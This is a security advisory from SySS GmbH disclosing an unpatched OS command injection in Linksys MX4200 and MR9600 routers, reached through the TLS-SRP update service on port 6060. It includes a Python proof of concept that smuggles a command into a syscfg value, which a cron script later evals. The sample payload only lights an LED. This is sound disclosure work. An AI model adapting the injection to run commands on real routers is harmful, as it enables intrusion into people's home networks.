Advisory ID: SYSS-2025-011 Product: MR9600, MX4200 (and potentially others) Manufacturer: LinksysAffected Version(s): 1.0.4.205530 for MR9600, 1.0.13.210200 for MX4200 (and potentially others)
Tested Version(s): 1.0.4.205530 for MR9600, 1.0.13.210200 for MX4200 Vulnerability Type: OS Command Injection (CWE-78) Risk Level: High Solution Status: Open Manufacturer Notification: 2025-03-18 Solution Date: - Public Disclosure: 2026-02-12 CVE Reference: Not yet assigned Author of Advisory: Christian Zäske, SySS GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: Linksys MX4200 is a Wi-Fi mesh router targeting home users. The manufacturer describes the product as follows (see [1]): "This router supports the latest Wi-Fi® 6 (802.11ax) standard for next-level streaming and gaming. Its powerful WiFi 6 mesh coverage offers faster WiFi performance for lag-free online gaming and simultaneous streaming to every device and corner of your home." Due to missing neutralization of special elements, OS commands can be injected via the update functionality of a TLS-SRP connection, which is normally used for configuring devices inside the mesh network. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The Linksys MX4200 (and other models) provides a service (sct_server binary) running on TCP port 6060, which is used to integrate other mesh devices into the network. The service accepts TLS-SRP connections with a username and password. The service supports an update request, which can be used to set "syscfg" variables on the device. The script "/tmp/cron/cron.everyminute/offline-notifier.cron" is executed every minute and sets "syscfg" variables containing "node-off" as environment variables using the following lines: VARS="$(syscfg show | grep node-off | sed -r "s/^[^:]+:://g" | while read i; do echo "$i;" done)" eval $VARS Usually, the variable "VARS" is set to a value similar to the following: $ syscfg show | grep node-off node-off::min_offline_time=3 node-off::enabled=1 node-off::cache_dir=/tmp/msg node-off::enable_cloud=1 node-off::debug=0$ syscfg show | grep node-off | sed -r "s/^[^:]+:://g" | while read i; do echo -n "$i; "; done min_offline_time=3; enabled=1; cache_dir=/tmp/msg; enable_cloud=1; debug=0;
By using the service on port 6060, an update request can be sent to the
device, which can be used to set an arbitrary "syscfg" entry. If this
entry contains ";", OS commands can be injected into the "VARS"
variable, which will be used by eval.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
Using the "tlslite-ng" library, the following Python code will result
in the LED indicator at the top of the device turning yellow, indicating
that the OS command got successfully executed:
from socket import *
from tlslite.api import *
sock = socket.socket(AF_INET, SOCK_STREAM)
sock.connect(("192.168.1.1", 6060))
conn = TLSConnection(sock)
conn.handshakeClientSRP(srp_username, srp_pass)
conn.sendall(bytes.fromhex("4f53435479e0b43120fcf435000000600000"))
conn.sendall('{"version": "0.1", "type": "update", "client_id":
"node-off", "data": {"WLAN": {"syscfg": [{"SySS": "; combo_solid yellow
on"}]}}}'.encode('utf8'))
This code results in the following "syscfg" value to be set: $ syscfg show | grep SySS node-off::SySS=; combo_solid yellow on When parsed by the script "offline-notifier.cron", the following line will be executed by eval, resulting in the indicator LED turning yellow after a maximum of 60 seconds:$ syscfg show | grep node-off | sed -r "s/^[^:]+:://g" | while read i; do echo -n "$i; "; done min_offline_time=3; enabled=1; cache_dir=/tmp/msg; enable_cloud=1; debug=0; SySS=; combo_solid yellow on;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: There is no known solution yet. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2025-01-30: Vulnerability discovered 2025-03-18: Vulnerability reported to manufacturer 2025-04-07: First response from manufacturer 2025-04-14: Requested an update from manufacturer 2025-05-06: Acknowledgment of vulnerabilities by the manufacturer 2026-02-12: Public disclosure ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] Product website for Linksys MX4200 https://support.linksys.com/kb/article/952-en/ [2] SySS Security Advisory SYSS-2025-011 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-011.txt [3] SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Christian Zäske of SySS GmbH. E-Mail: [email protected]Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Christian_Zaeske.asc
Key ID: 0x7B00D164A32F9AC9 Key Fingerprint: 51D4 6E9B 3C29 7347 AC01 0F5A 7B00 D164 A32F 9AC9 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: https://creativecommons.org/licenses/by/3.0/deed.en
OpenPGP_0x7B00D164A32F9AC9.asc
Description: OpenPGP public key
OpenPGP_signature.asc
Description: OpenPGP digital signature
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